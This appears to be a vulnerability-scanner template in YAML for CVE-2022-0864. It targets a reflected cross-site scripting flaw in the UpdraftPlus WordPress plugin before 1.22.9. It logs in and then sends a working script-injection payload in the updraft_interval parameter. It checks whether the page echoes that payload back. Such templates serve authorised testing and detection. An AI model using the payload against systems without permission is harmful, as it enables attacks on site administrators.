65 lines
2.0 KiB
YAML
65 lines
2.0 KiB
YAML
id: CVE-2022-0864
|
|
|
|
info:
|
|
name: UpdraftPlus < 1.22.9 - Cross-Site Scripting
|
|
author: DhiyaneshDk
|
|
severity: medium
|
|
description: |
|
|
The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
|
|
remediation: |
|
|
Update UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0864
|
|
- https://wordpress.org/plugins/updraftplus
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-0864
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00242
|
|
epss-percentile: 0.61904
|
|
cpe: cpe:2.3:a:updraftplus:updraftplus:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: 'updraftplus'
|
|
product: 'updraftplus'
|
|
framework: wordpress
|
|
tags: cve2022,xss,authenticated,updraftplus,wpscan,cve,wp-plugin,wp,wordpress
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
- |
|
|
GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm(document.domain)</script> HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '</script><script>confirm(document.domain)</script>'
|
|
- 'updraftplus'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a004730450221009f68597de1c305f4ea78eabd4e569aa12a6ba7afeca8e0605a3e03ce0f0fedfc02201e083de8c2ae3473af8bc9bf10fe9dfc82b9c6ec4aa10f8be5368ce90bdbdf94:922c64590222798bb761d5b6d8e72950
|